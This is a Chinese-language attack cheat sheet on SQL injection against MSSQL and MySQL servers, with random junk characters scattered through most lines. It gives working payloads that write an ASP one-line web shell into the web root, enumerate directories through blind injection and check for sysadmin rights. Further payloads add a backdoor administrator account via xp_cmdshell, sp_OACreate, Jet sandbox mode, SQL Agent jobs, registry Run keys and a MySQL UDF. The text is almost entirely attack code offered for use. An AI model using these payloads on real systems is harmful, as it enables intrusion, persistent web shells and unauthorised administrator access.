MSSQL语句导出一句话木马
& l7 G0 L' ]; p( t首先确定网站的WEB路径5 f& f$ h* Z3 R' o9 m8 P6 q1 ?
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马) w3 ?. L/ m; T( D1 w& b6 V# n
9 o% S0 U0 O$ j9 D: L
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
0 j1 r6 o# C4 c% H2 a; v7 E) |3 L//将一句话木马插入表中9 u2 @2 ~$ s- j, E$ w/ Y, ?7 Y
/ P4 ~& O9 _4 F6 `$ M7 ~ A;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- ) c. o4 ? Y4 h# ~2 Y* k# R5 A+ v
//导出一个ASP文件
/ m4 e3 R' X1 P6 Z( T
& v) ^/ m; p, |& H
8 W( u" F p$ J关于MSSQL列目录( e4 C. M H/ D8 Y; H; u8 Z6 q; Y
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表: Y1 L& i0 j3 H, {2 n
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表: |3 \& V- s j5 E% O! ~. G
/ J6 T, ^5 A4 H3 p: [! D
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录8 i+ A9 @) m, M& z! d
5 ?4 N& ~2 I0 P3 f7 W/ |1 r
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段; i& I8 V$ t1 i U- z$ ^+ [2 U
- W% Z& s% |6 r1 y& d7 IAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
, m. b. O4 u) B9 m+ d
. f9 p' ~" O r. [' q
4 G2 F: A4 M* p$ Y0 ]/ _数据库版本和权限查看
8 c1 ]$ W( x5 l4 Z7 p1 m* Hand 1=(select @@VERSION) //查看详细的数据库信息.5 V! j2 `7 q2 `* D5 A, S. Y3 s
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA7 C9 B" U3 ~1 l4 S6 {
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
! g. t% I; g4 K+ Z% M& I2 V, F2 ]- K; o- p2 \
5 t( T5 g( }7 U1 y1.利用xp_cmdshell执行命令
* g2 T7 P1 Z- hexec master..xp_cmdshell 'net user rfire 123456 /add'
2 L d. ~& l$ m' k3 Fexec master..xp_cmdshell 'net localgroup administrators rfire /add'. t* v( a) U2 _8 h1 I+ ^2 H- m
/ O% ]5 x7 j; L h7 W. c) f; @/ K
恢复xp_cmdshell存储过程
e+ p L0 Z JExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'- i' f5 P- b/ u7 u9 W- M/ {
" n1 t2 f3 \9 [0 J) y! Z+ y! Q- C" @2 V5 H7 k, u0 O5 `
2.利用SP_OAcreate和SP_OAMETHOD执行命令
' n3 G P' j# o/ l/ K在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
! v5 \6 q/ o7 C5 H2 ~7 ]# U5 ^DECLARE @shell INT //建立一个@shell实体0 D, e/ c, q! z, t( T& s5 p# E5 z4 ]
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
: J2 z3 P# B: @5 VEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例8 M" }( n5 G- N: R) Z8 \
) h& d! I% D& z
4 R1 B: N+ W% o2 d, L( C1 \3.利用沙盒模式. ~, n6 a; h7 [/ A# C3 g: `
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
, d0 M) n$ I7 [) b9 Q {开启沙盒模式:
) ]7 ]4 o: Y, F# [5 ?9 R: GEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0( K* S( R, C" M" h) O# z% Q
6 V& l' a) V) J: g+ s执行命令: }$ l, N9 s- k5 \! s C; _
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');7 O9 ]% D( B; ^' l) |9 C
! F4 F: k+ S- e) z% ^2 S' u7 k; W0 R
4.利用SQL代理执行命令1 X' }; x' m1 A5 h2 M) J
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
0 J/ }$ t0 @6 h; d' n& L
- Y4 g7 ?4 d! V0 `) B" E0 Q执行命令:4 R; M4 @3 \2 s3 M9 e3 M
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错$ O J+ W# ]/ i
exec sp_add_job 'x'( ~# @5 i& V+ z) _3 R! |* x S3 z
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
+ _$ X+ r3 c6 o9 d$ Zexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
, `) I$ K; N& g1 c; _4 x
" l: q4 e) N3 j& o1 O; D5 V8 g5 v! [& O/ y: J6 V: ^" h' {" L" i
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
* d: L1 _+ c* |* v; Q% T5 i# j, gEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
4 g' T' d( e- I+ {" u6 N2 B% J' y7 Q1 M
# R1 F# Y& K) R9 q6.MYSQL的命令执行/ `) l/ c- E0 b3 ^0 E1 t
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限): l1 s- |. T: u8 @0 M; m Q) h
首先要在su.php下导出c:\windows\udf.dll
: o) F' j3 h( O& X' N4 J8 j5 I导出后执行创建自定义函数命令:9 o7 X+ J. @8 ?; j" H, X4 v0 @
Create Function cmdshell returns string soname 'udf.dll'
; R; x4 |% T+ b7 V, k3 l' Q# y8 \执行命令
7 C! f+ C$ R! q5 w* E5 R( xselect cmdshell('net user rfire 123456 /add')' V, S! _1 I& B9 `7 H( H
执行后删除函数 drop function cmdshell
/ N( ]; L$ J* t/ _3 { |